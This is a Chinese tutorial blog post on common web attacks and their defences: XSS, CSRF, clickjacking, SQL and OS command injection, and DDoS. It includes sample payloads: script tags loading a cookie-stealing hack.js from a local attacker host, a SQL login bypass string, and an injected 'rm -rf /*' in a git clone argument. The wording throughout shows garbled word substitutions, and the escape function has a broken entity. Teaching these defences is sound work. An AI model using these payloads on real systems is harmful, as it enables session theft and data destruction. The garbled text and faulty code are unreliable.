关于前端:常⻅Web攻击一

1、XSS

**Cross Site Scripting
跨站脚本攻打**

XSS (Cross-Site Scripting),跨站脚本攻打,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻打是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的⾮本站点HTML标签或JavaScript进⾏的⼀种攻打。

跨站脚本攻打有可能造成以下影响:

-利⽤虚伪输⼊表单骗取⽤户个⼈信息。
-利⽤脚本窃取⽤户的Cookie值,被害者在不知情的状况下,帮忙攻击者发送歹意申请。
-显示伪造的⽂章或图⽚。

XSS攻打分类

// 一般
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie⼊侵 chrome
document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUz
NTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="

存储型 – 存储到DB后读取时注⼊

// 评论
<script>alert(1)</script>
// 跨站脚本注⼊
我来了<script src="http://localhost:4000/hack.js"></script>
XSS攻打的危害 – Scripting能⼲啥就能⼲啥

获取⻚⾯数据
获取Cookies
劫持前端逻辑
发送申请
偷取⽹站的任意数据
偷取⽤户的材料
偷取⽤户的机密和登录态
坑骗⽤户

防备⼿段

ejs本义⼩常识
<% code %>⽤于执⾏其中javascript代码;
<%= code %>会对code进⾏html本义;
<%- code %>将不会进⾏本义

HEAD

ctx.set('X-XSS-Protection', 0) // 禁⽌XSS过滤
// http://localhost:3000/?from=<script>alert(3)</script> 能够拦挡 但假装⼀下就不⾏
了

0 禁⽌XSS过滤。
1 启⽤XSS过滤(通常浏览器是默认的)。 如果检测到跨站脚本攻打,浏览器将革除⻚⾯(删除不
平安的局部)。
1;mode=block 启⽤XSS过滤。 如果检测到攻打,浏览器将不会革除⻚⾯,⽽是阻⽌⻚⾯加载。
1; report= (Chromium only)
启⽤XSS过滤。 如果检测到跨站脚本攻打,浏览器将革除⻚⾯并使⽤CSP report-uri 指令的功
能发送违规报告。

CSP

内容安全策略 (CSP, Content Security Policy) 是⼀个附加的平安层,⽤于帮忙检测和缓解某
些类型的攻打,包含跨站脚本 (XSS) 和数据注⼊等攻打。 这些攻打可⽤于实现从数据窃取到
⽹站毁坏或作为恶意软件散发版本等⽤途。
CSP 实质上就是建⽴⽩名单,开发者明确通知浏览器哪些内部资源能够加载和执⾏。咱们只
须要配置规定,如何拦挡是由浏览器⾃⼰实现的。咱们能够通过这种⽅式来尽量减少 XSS 攻
击。

// 只容许加载本站资源
Content-Security-Policy: default-src 'self'
// 只容许加载 HTTPS 协定图⽚
Content-Security-Policy: img-src https://*
// 不容许加载任何起源框架
Content-Security-Policy: child-src 'none'
ctx.set('Content-Security-Policy', "default-src 'self'")
// 尝试⼀下内部资源不能加载
http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">
</script>

转义字符
⿊名单

⽤户的输⼊永远不可信赖的,最广泛的做法就是本义输⼊输入的内容,对于引号、尖括号、斜杠
进⾏本义

 function escape(str) {
 str = str.replace(/&/g, '&amp;')
 str = str.replace(/</g, '&lt;')
 str = str.replace(/>/g, '&gt;')
 str = str.replace(/"/g, '&quto;')
 str = str.replace(/'/g, '&#39;')
 str = str.replace(/`/g, '&#96;')
 str = str.replace(/\//g, '&#x2F;')
 return str
 }

富⽂原本说,显然不能通过上⾯的方法来本义所有字符,因为这样会把须要的格局也过滤掉。对
于这种状况,通常采⽤⽩名单过滤的方法,当然也能够通过⿊名单过滤,然而思考到须要过滤的
标签和标签属性切实太多,更加举荐使⽤⽩名单的⽅式。
⽩名单

 let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')
 // -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
 console.log(html)

HttpOnly Cookie

这是预防XSS攻打窃取⽤户cookie最无效的进攻⼿段。Web应 ⽤程序在设置cookie时,将其
属性设为HttpOnly,就能够防止该⽹⻚的cookie被客户端歹意JavaScript窃取,爱护⽤户
cookie信息。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

2、CSRF

CSRF(Cross Site Request Forgery),即跨站申请伪造,是⼀种常⻅的Web攻打,它利⽤⽤户已登
录的身份,在⽤户毫不知情的状况下,以⽤户的名义实现⾮法操作。

**⽤户曾经登录了站点 A,并在本地记录了 cookie
在⽤户没有登出站点 A 的状况下(也就是 cookie ⽣效的状况下),拜访了歹意攻击者提供的诱惑
危险站点 B (B 站点要求拜访站点A)。
站点 A 没有做任何 CSRF 进攻**

登录 http://localhost:4000/csrf.html

CSRF攻打危害

利⽤⽤户登录态
⽤户不知情
实现业务申请
盗取⽤户资⾦(转账,生产)
假冒⽤户发帖背锅
侵害⽹站名誉

进攻
禁⽌第三⽅⽹站带Cookie – 有兼容性问题
Referer Check – Https不发送referer

app.use(async (ctx, next) => {
 await next()
const referer = ctx.request.header.referer
 console.log('Referer:', referer)
})

验证码

3、点击劫持 – clickjacking

点击劫持是⼀种视觉坑骗的攻打⼿段。攻击者将须要攻打的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃⼰
的⽹⻚中,并将 iframe 设置为通明,在⻚⾯中透出⼀个按钮诱导⽤户点击。

// 登录
http://localhost:4000/clickjacking.html

进攻

X-FRAME-OPTIONS
X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在古代浏览器有⼀个很好的⽀持。这个 HTTP 响应头 就
是为了进攻⽤ iframe 嵌套的点击劫持攻打。
该响应头有三个值可选,别离是
**DENY,示意⻚⾯不容许通过 iframe 的⽅式展现
SAMEORIGIN,示意⻚⾯能够在雷同域名下通过 iframe 的⽅式展现
ALLOW-FROM,示意⻚⾯能够在指定起源的 iframe 中展现**

ctx.set('X-FRAME-OPTIONS', 'DENY')

JS⽅式

<head>
   <style id="click-jack">
     html {
       display: none !important;
     }
   </style>
</head>
<body>
 <script>
   if (self == top) {
     var style = document.getElementById('click-jack')
     document.body.removeChild(style)
   } else {
     top.location = self.location
   }
 </script>
</body>

以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时,攻击者的⽹⻚间接不显示所有内容了。

SQL注⼊

// 填⼊非凡明码
1'or'1'='1
// 拼接后的SQL
SELECT *
FROM test.user
WHERE username = 'laowang'
AND password = '1'or'1'='1'

进攻

所有的查问语句倡议使⽤数据库提供的参数化查问接⼝**,参数化的语句使⽤参数⽽不是将⽤户
输⼊变量嵌⼊到 SQL 语句中,即不要间接拼接 SQL 语句。例如 Node.js 中的 mysqljs 库的 query
⽅法中的 ? 占位参数。

// 谬误写法
const sql = `
 SELECT *
 FROM test.user
 WHERE username = '${ctx.request.body.username}'
 AND password = '${ctx.request.body.password}'
 `
 console.log('sql', sql)
 res = await query(sql)

// 正确的写法
const sql = `
SELECT *
FROM test.user
WHERE username = ?
AND password = ?
`
console.log('sql', sql, )
res = await query(sql,[ctx.request.body.username, ctx.request.body.password])

严格限度Web应⽤的数据库的操作权限**,给此⽤户提供仅仅可能满⾜其⼯作的最低权限,从⽽
最⼤限度的缩小注⼊攻打对数据库的危害
后端代码查看输⼊的数据是否合乎预期**,严格限度变量的类型,例如使⽤正则表达式进⾏⼀些
匹配解决。
对进⼊数据库的特殊字符(’,”,\,<,>,&,,; 等)进⾏本义解决,或编码转换*。基本上所
有的后端语⾔都有对字符串进⾏本义解决的⽅法,⽐如 lodash 的 lodash._escapehtmlchar 库。

**OS命令注⼊

OS命令注⼊和SQL注⼊差不多,只不过SQL注⼊是针对数据库的,⽽OS命令注⼊是针对操作系统的。OS命令
注⼊攻打指通过Web应⽤,执⾏⾮法的操作系统命令达到攻打的⽬的。只有在能调⽤Shell函数的地⽅就有
存在被攻打的⻛险。假使调⽤Shell时存在疏漏,就能够执⾏插⼊的⾮法命令。

// 以 Node.js 为例,如果在接⼝中须要从 github 下载⽤户指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* ⽤户输⼊的参数 */};
exec(`git clone ${params.repo} /some/path`);

如果传⼊的参数是会怎么

https://github.com/xx/xx.git && rm -rf /* &&

申请劫持

**DNS劫持
顾名思义,DNS服务器(DNS解析各个步骤)被篡改,批改了域名解析的后果,使得拜访到的不是预期的
ip
HTTP劫持 运营商劫持,此时⼤概只能降级HTTPS了**

DDOS

http://www.ruanyifeng.com/blo… 阮⼀峰

distributed denial of service
DDOS 不是⼀种攻打,⽽是⼀⼤类攻打的总称。它有⼏⼗种类型,新的攻打⽅法还在一直创造进去。⽹
站运⾏的各个环节,都能够是攻打⽬标。只有把⼀个环节攻破,使得整个流程跑不起来,就达到了瘫痪
服务的⽬的。
其中,⽐较常⻅的⼀种攻打是 cc 攻打。它就是简略粗犷地送来⼤量失常的申请,超出服务器的最⼤承
受量,导致宕机。我遭逢的就是 cc 攻打,最多的时候全世界⼤概20多个 IP 地址轮流发出请求,每个地
址的申请量在每秒200次~300次。我看拜访⽇志的时候,就感觉那些申请像洪⽔⼀样涌来,⼀眨眼就是
⼀⼤堆,⼏分钟的工夫,⽇志⽂件的体积就⼤了100MB。说实话,这只能算⼩攻打,然而我的个⼈⽹站
没有任何防护,服务器还是跟其余⼈共享的,这种流量⼀来⽴刻就下线了。

常⻅攻打⽅式

SYN Flood
此攻打通过向⽬标发送具备欺骗性源IP地址的⼤量TCP“初始连贯申请”SYN数据包来利⽤TCP握
⼿。⽬标机器响应每个连贯申请,而后期待握⼿中的最初⼀步,这⼀步从未发⽣过,耗尽了过程
中的⽬标资源。
HTTP Flood
此攻打相似于同时在多个不同计算机上重复按Web浏览器中的刷新 – ⼤量HTTP申请泛滥服务器,
导致拒绝服务。

进攻⼿段

备份⽹站不⼀定是全功能的,如果能做到全动态浏览,就能满⾜需要。最低限度应该能够显示布告,通知⽤户,⽹站出了问题,正在全⼒抢修。

  • HTTP 申请的拦挡 ⾼防IP -靠谱的运营商 多个 Docker

硬件 服务器 防⽕墙

  • 带宽扩容 + CDN

提⾼立功老本

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理